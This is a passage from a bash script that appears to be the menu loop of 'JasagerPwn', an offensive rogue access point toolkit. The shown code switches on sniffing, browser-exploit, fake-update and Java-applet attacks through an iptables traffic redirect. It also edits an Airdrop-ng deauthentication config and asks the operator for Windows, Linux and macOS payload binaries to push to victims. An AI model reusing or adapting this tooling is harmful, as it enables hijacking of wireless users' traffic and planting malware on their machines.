			    elif [ $sniffing -eq 1 ] || [ $browserpwn -eq 1 ] || [ $fakeupdate -eq 1 ] || [ $javaATK -eq 1 ]; then
			      ipTableRedirect
			    fi
			;;
			*) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
			esac
		    ;;
		    C|c|deauth|DeAuth|config|Config|CONFIG|2)
		      xterm -geometry 95x47+577+0 -bg black -fg green -T "[EDITING] Airdrop DeAuth Config" -e "nano /tmp/deauth.conf"
		      echo
		      echo -e "\e[01;33m[!]\e[00m Go To DeAuth Menu, Kill it, and Restart Airdrop-ng to apply changes."
		    ;;
		    R|r|refresh|Refresh|3)
		      xterm -geometry 75x12+464+288 -bg black -fg green -T "[JasagerPwn-DeAuth Kill] v$version" -e "ifconfig $gatewayIFACE up && dhclient $gatewayIFACE"
		      sleep 3
		      if [ ! "$staticGateway" ] ;then
			gatewayIP=`route -n | grep $gatewayIFACE | awk '/^0.0.0.0/ {getline; print $2}'`
		      elif [ "$staticGateway" ]; then
			gatewayIP=`echo "$staticGateway"`
		      fi
		    ;;
		    P|p|payload|Payload|PAYLOAD|4)
		      echo
		      echo -e "\e[01;33m[!]\e[00m Choose custom payloads for FakeUpdate and Java Applet attack..."
		      echo -n -e "\e[01;33m[!]\e[00m Enter the full directory of your Windows(EXE) payload:  "
		      read -e WinEXEPayload
		      sleep .5 && WinEXEPayloadCheck=`ls -a $WinEXEPayload` > /dev/null
		      echo -n -e "\e[01;33m[!]\e[00m Enter the full directory of your Linux(BIN) payload:  "
		      read -e NixBINPayload
		      sleep .5 && NixBINPayloadCheck=`ls -a $NixBINPayload` > /dev/null
		      echo -n -e "\e[01;33m[!]\e[00m Enter the full directory of your MacOSX(BIN) payload:  "
		      read -e OsxBINPayload
		      sleep .5 && OsxBINPayloadCheck=`ls -a $OsxBINPayload` > /dev/null
		      customPayload="1"
		      echo -e "\e[01;33m[!]\e[00m Make sure you restart your attack if they were already running to use new payload."
		    ;;
		    M|m|menu|Menu|5)
		      break
		    ;;
		    *) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
		esac
	      done
	  ;;
	  X|x|exit|Exit|7)
	    cleanup
	  ;;
	  *) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
  esac
done

cleanup
